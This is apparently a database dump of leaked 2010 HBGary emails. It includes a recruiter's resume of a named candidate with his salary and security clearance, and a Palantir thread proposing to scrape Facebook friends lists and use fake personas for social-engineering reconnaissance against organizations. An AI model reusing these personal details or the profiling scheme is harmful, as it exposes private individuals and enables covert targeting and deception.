GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire &nbsp;Baltimore MDSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems. &nbsp;Willis has a strong understanding of various commercial security products and systems including&nbsp;applications, capabilities, and limitations. &nbsp;He also have extensive professional experience in network planning, implementation and operations.&nbsp;PROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included: &nbsp;Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment. &nbsp;Security posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools. &nbsp;Attended a six month rigorous training course in forensics, software development, reverse engineering and information security.&nbsp;2006 - 2008 &nbsp;Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems. &nbsp;Auditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing&nbsp;applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance. &nbsp;Also, implemented Nagios event monitoring for all servers and security devices.2006 - 2006&nbsp;Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site. &nbsp;Repair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation. &nbsp;Implemented and designed network systems for new and existing locations. &nbsp;Also assessed off-lease equipment for recycling and valuation for sale.2002 - 2006 &nbsp;Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites. &nbsp;Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.1998 - 2002&nbsp;Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies. &nbsp;Administration duties included backup administration, general user administration, PBX administration and database administration and maintenance. &nbsp;Also repaired and built desktop systems for end users. &nbsp;Also monitored web systems for misuse and anomalies.1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs. &nbsp;Remediation included loading and configuring systems to customer specifications. &nbsp;Implemented network based loading system to improve productivity over using legacy floppy based loading. &nbsp;~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence ',15163,'aaron_hbgary_com/15163.html'),(11171,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008526.M663621P14101Q6026.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: WILLIS C. MCDONALD II','This guy looks interesting. &nbsp;So I would like to vet his skill set, get one of our Forensic guys on the phone with him. &nbsp;Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:Hi Aaron,here\'s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!CANDIDATE\'S NAME: &nbsp;WILLIS C. MCDONALD IICURRENTLY LIVES IN: &nbsp;GA			WILL RELOCATEGEOGRAPHIC PREFERENCES: &nbsp;DC/MD/VA&nbsp;		He is open to hear about outstanding opportunities elsewhere.LOOKING FOR WORK BECAUSE: &nbsp;The contract he is working on is over in 2 WEEKS.&nbsp;CURRENT SALARY: &nbsp;$78,000 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CLEARANCES: &nbsp;TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information TechnologySouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire &nbsp;Baltimore MDSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems. &nbsp;Willis has a strong understanding of various commercial security products and systems including&nbsp;applications, capabilities, and limitations. &nbsp;He also have extensive professional experience in network planning, implementation and operations.&nbsp;PROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included: &nbsp;Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment. &nbsp;Security posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools. &nbsp;Attended a six month rigorous training course in forensics, software development, reverse engineering and information security.&nbsp;2006 - 2008 &nbsp;Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems. &nbsp;Auditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing&nbsp;applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance. &nbsp;Also, implemented Nagios event monitoring for all servers and security devices.2006 - 2006&nbsp;Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site. &nbsp;Repair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation. &nbsp;Implemented and designed network systems for new and existing locations. &nbsp;Also assessed off-lease equipment for recycling and valuation for sale.2002 - 2006 &nbsp;Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites. &nbsp;Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.1998 - 2002&nbsp;Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies. &nbsp;Administration duties included backup administration, general user administration, PBX administration and database administration and maintenance. &nbsp;Also repaired and built desktop systems for end users. &nbsp;Also monitored web systems for misuse and anomalies.1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs. &nbsp;Remediation included loading and configuring systems to customer specifications. &nbsp;Implemented network based loading system to improve productivity over using legacy floppy based loading. &nbsp;~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;',15001,'aaron_hbgary_com/15001.html'),(11172,'2010-09-01','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008527.M525648P14101Q6028.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: WILLIS C. MCDONALD II','Hi Aaron,That\'s a great idea!I\'ll call Willis and get his availability.Get back to you asap.Thanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:This guy looks interesting. &nbsp;So I would like to vet his skill set, get one of our Forensic guys on the phone with him. &nbsp;Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:Hi Aaron,here\'s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!CANDIDATE\'S NAME: &nbsp;WILLIS C. MCDONALD IICURRENTLY LIVES IN: &nbsp;GA			WILL RELOCATEGEOGRAPHIC PREFERENCES: &nbsp;DC/MD/VA&nbsp;		He is open to hear about outstanding opportunities elsewhere.LOOKING FOR WORK BECAUSE: &nbsp;The contract he is working on is over in 2 WEEKS.&nbsp;CURRENT SALARY: &nbsp;$78,000 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CLEARANCES: &nbsp;TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information TechnologySouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire &nbsp;Baltimore MDSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems. &nbsp;Willis has a strong understanding of various commercial security products and systems including&nbsp;applications, capabilities, and limitations. &nbsp;He also have extensive professional experience in network planning, implementation and operations.&nbsp;PROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included: &nbsp;Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment. &nbsp;Security posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools. &nbsp;Attended a six month rigorous training course in forensics, software development, reverse engineering and information security.&nbsp;2006 - 2008 &nbsp;Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems. &nbsp;Auditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing&nbsp;applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance. &nbsp;Also, implemented Nagios event monitoring for all servers and security devices.2006 - 2006&nbsp;Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site. &nbsp;Repair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation. &nbsp;Implemented and designed network systems for new and existing locations. &nbsp;Also assessed off-lease equipment for recycling and valuation for sale.2002 - 2006 &nbsp;Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites. &nbsp;Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.1998 - 2002&nbsp;Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies. &nbsp;Administration duties included backup administration, general user administration, PBX administration and database administration and maintenance. &nbsp;Also repaired and built desktop systems for end users. &nbsp;Also monitored web systems for misuse and anomalies.1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs. &nbsp;Remediation included loading and configuring systems to customer specifications. &nbsp;Implemented network based loading system to improve productivity over using legacy floppy based loading. &nbsp;~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence \r\n\r\n',12400,'aaron_hbgary_com/12400.html'),(11173,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008527.M69478P14101Q6027.eml','\"Matt Standart\" <matt@hbgary.com>','Contacts','Hey Matt,\r\n\r\nDo you happen to know any RE/Forensic folks with Full polys that might want a change of pace? :)\r\n\r\nThanks,\r\nAaron',9812,'aaron_hbgary_com/9812.html'),(11174,'2010-09-01','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008527.M751872P14101Q6029.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Another Killer Demo','Maryland until about 1pm, then headed back south to McLean. The Palantir\r\noffice in Tysons works for me as a meeting point, too.\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 10:58 AM\r\nTo: Aaron Zollman\r\nSubject: Re: Another Killer Demo\r\n\r\nI am going to be in Mclean most of the day.  Where are you going to be\r\ntomorrow.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 31, 2010, at 5:04 PM, Aaron Zollman wrote:\r\n\r\n> \r\n> Sounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be on\r\n> the way Thursday, too.\r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 30, 2010 10:38 PM\r\n> To: Aaron Zollman\r\n> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> I get it on the breakout sessions.  We would like to pursue the path to\r\n> breakout with fingerprint data.  That hasn\'t changed.\r\n> \r\n> So here is the dynamic I am working with right now.\r\n> \r\n> We have separate customers interested in our ability to do volume malware\r\n> processing and threat intelligence (this is TMC, Fingerprint, and\r\n> Palanatir).\r\n> \r\n> We have other customers, mostly on offense, that are interested in Social\r\n> Media for other things.\r\n> \r\n> In the end both of these capabilities come together to build real threat\r\n> intelligence marrying up malware data with social media data, just baby\r\n> steps.\r\n> \r\n> The social media stuff seems like low hanging fruit, so lets have a phone\r\n> conversation on that on Thursday to discuss what are the next steps and\r\n> when.\r\n> \r\n> On the threat intelligence side we have some prep work to do.  Greg told\r\nme\r\n> that the data that he has is basically not available.  Something about\r\n> giving the TMC to HBGary Fed and dropping that because it was taking to\r\nmany\r\n> development resources and they need to focus.  What does that mean, not a\r\n> huge deal, but we need to rerun our malware through the TMC and then\r\nthrough\r\n> fingerprint and then take that data into Palantir.  Right now we are\r\nrunning\r\n> at max speed the rest of the week to get our Pentest report done and out\r\nto\r\n> the customer by Thursday.  So on Monday next week we can regroup with Mark\r\nI\r\n> think and talk about how to get the threat intel stuff going.  We have a\r\n> meeting with US-CERT on the 9th and it would be good to be able to tell\r\nthem\r\n> a little more than what we have right now, meaning we have a plan to\r\n> execute.  The stick here is in our hands.  I will reread your last email,\r\n> head is flooded, and we can readdress this on Thursday as well.\r\n> \r\n> Sound ok?  Good thing is potential customers definitely interested.\r\n> \r\n> Lets do a webex on Thursday instead I can show you a few things I am\r\nworking\r\n> on.  I will set it up.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n> \r\n>> \r\n>> 	For the two breakout spaces, we\'re looking for an integration that\r\n>> focuses more on technical data. While I\'d like to talk through this\r\n> proposed\r\n>> workflow some more -- and it\'s certainly appropriate for the demo station\r\n>> you guys will have at GovCon -- it may not be right for the breakout\r\n>> sessions where Steckman and I have to focus our development energy. But\r\n>> let\'s walk down the path a little further before we decide anything:\r\n>> \r\n>> 	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n>> a targeted subset for a few users of interest; possibly using helpers to\r\n>> reach out to the API\'s? \r\n>> \r\n>> 	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n>> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s\r\n> social\r\n>> graph to build some statistics. I\'d be worried about doing the same. (I\'d\r\n>> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s\r\n> already\r\n>> deleted it.)\r\n>> \r\n>> 	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n>> you want to build out the workflow a little. The new cyber ontology has\r\nan\r\n>> \"online account\" type set up by default; we can start by preparing a\r\n>> Facebook Account subtype and build outward from there. \r\n>> \r\n>> 	Phone call good enough, or should we set up shop somewhere with data\r\n>> and laptops? \r\n>> \r\n>> \r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, August 30, 2010 8:54 AM\r\n>> To: Aaron Zollman\r\n>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>> Subject: Re: Another Killer Demo\r\n>> \r\n>> I think you would be demonstrating something completely new from a\r\n> security\r\n>> standpoint.  Twitter requires no authentication.  Follow anyone you want.\r\n>> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n>> friends lists are much closer to representing someones actual social\r\n> circle\r\n>> than just another source of information.  This has huge security\r\n>> consequences.  My hypothesis is there is an immense amount of information\r\n> we\r\n>> can glean from this information.  I have actually already proven this on\r\na\r\n>> small scale doing research manually.  I have been able to determine\r\npeople\r\n>> who are employees of specific companies even though their profile was\r\n>> completely blocked, except their friends lists.  I correlated friends\r\n> lists\r\n>> across multiple people who I knew were employees of a particular company\r\n> to\r\n>> determine this.  I also was able to cross this information with Linkedin\r\n>> information and determine people that were in subcontracting\r\nrelationships\r\n>> to other companies.  I think all of the facebook information in a\r\nPalantir\r\n>> framework could result in some of the most significant security\r\n> revelations\r\n>> related to social media yet published.  No more handwaving, but real data\r\n> to\r\n>> show the vulnerabilities.  There is a huge social engineering /targeting\r\n>> potential here as well.  If I wanted to target a particular organization\r\n>> what groups should I belong to, who are the influencers in the group, who\r\n>> has the most connections, etc.\r\n>> \r\n>> Lets get together to discuss and I can walk you through some of the stuff\r\n> I\r\n>> am doing with persona development and social media exploitation.\r\n>> \r\n>> Aaron\r\n>> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n>> \r\n>>> \r\n>>> 	It\'d be even easier with the graph APIs...\r\n>>> http://graph.facebook.com/ ... JSON parser & an API key and we could\r\n> knock\r\n>>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>>> \r\n>>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>>> visualization front-end for an organization\'s structure? \r\n>>> \r\n>>> \r\n>>> \r\n>>> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n>>> trying to hunt down the video -- so we wouldn\'t be demonstrating\r\nanything\r\n>>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>>> pen-testing/cybersecurity context. An integration with this and some\r\n> other\r\n>>> pen-testing data -- known account identifiers, and data collected from\r\n>> them,\r\n>>> for example -- might be cool. If we could bring in some malware\r\n>> fingerprint \r\n>>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>>> exploration...\r\n>>> \r\n>>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>>> helpful.\r\n>>> \r\n>>> \r\n>>> \r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>>> To: Matthew Steckman\r\n>>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>>> Subject: Re: Another Killer Demo\r\n>>> \r\n>>> On the social side here is what I would like to do.  I think between\r\nMark\r\n>>> and Aaron this could be put together very quickly and would be powerful.\r\n>>> \r\n>>> start with a profile in facebook.\r\n>>> \r\n>>> http://www.facebook.com/profile.php?id=100001092994636\r\n>>> \r\n>>> View the source of that page.  There is all kinds of information we can\r\n>>> collect and parse to build some very robust social maps.\r\n>>> Those people that provide information and have their friends lists\r\n> exposed\r\n>>> provide an incredible social engineering and recon tool.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>>> \r\n>>>> Brandon is a rockstar!!! Good call.\r\n>>>> \r\n>>>> Let us know if you want help on the demo, sounds like it could be\r\nreally\r\n>>>> interesting.  We\'d probably love to make a video of is as well to put\r\nup\r\n>>> on\r\n>>>> our analysis blog (with HBGary branding of course!).\r\n>>>> \r\n>>>> Matthew Steckman\r\n>>>> Palantir Technologies | Forward Deployed Engineer\r\n>>>> msteckman@palantir.com | 202-257-2270\r\n>>>> \r\n>>>> Follow @palantirtech\r\n>>>> Watch youtube.com/palantirtech\r\n>>>> Attend Palantir Night Live\r\n>>>> \r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>>> To: Matthew Steckman\r\n>>>> Cc: Aaron Zollman\r\n>>>> Subject: Another Killer Demo\r\n>>>> \r\n>>>> Matt,\r\n>>>> \r\n>>>> I have been doing talks on social media, have a lot more scheduled,\r\n> along\r\n>>>> with some training gigs.  In the process I am setting up a lot of\r\n>> personas\r\n>>>> and doing social media pen testing against organizations.\r\n>>>> \r\n>>>> What I have found is there is an immense amount of information peoples\r\n>>>> friends lists as well as other social media digital artifacts can tell\r\n>> us.\r\n>>>> I think Palantir would be an awesome tool to present and use for\r\n>> analysis.\r\n>>>> We are just going to have to get someone to write a helper app.  I am\r\n>>> hoping\r\n>>>> to be able to hire Brandon Colston soon.\r\n>>>> \r\n>>>> Aaron\r\n>>> \r\n>> \r\n> \r\n\r\n',13029,'aaron_hbgary_com/13029.html'),(11175,'2010-09-01','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008527.M998262P14101Q6030.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Terell Jones and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsSeptember 1, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n            3 discussions\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (3)  \r\n\r\n    \r\n      \r\n        National \'Healthcare IT Connect\' Summit, Washington D.C. October 26-28 2010\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              Gearing up for National Health IT Connect!\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n    \r\n      \r\n        Virginia Department of Minority Business Enterprise - SWaM...\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              EcomNets is now SWaM certified in the state of Virginia!\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n    \r\n      \r\n        COVITS\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              One more week until the COVITS 2010!...\r\n	                    More &raquo;\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',10465,'aaron_hbgary_com/10465.html'),(11176,'2010-09-01','\"Matt Standart\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297008528.M248121P14101Q6031.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Contacts','Not directly but I can send a posting out to my CCE (Certified Computer Examiner) and HTCIA (High Tech Crime Investigation Association) mailing lists.  Just need the specifics you want me to send.\r\n \r\nMatt\r\nOn Wed, Sep 1, 2010 at 12:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Matt,Do you happen to know any RE/Forensic folks with Full polys that might want a change of pace? :)\r\nThanks,Aaron\r\n',14499,'aaron_hbgary_com/14499.html'),(11177,'2010-09-01','arc@westfields.net','/aaron@hbgary.com/new/1297008528.M463049P14101Q6032.eml','federal@hbgary.com','CAPRICA Announcement Posting','\r\nAn announcement has been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, 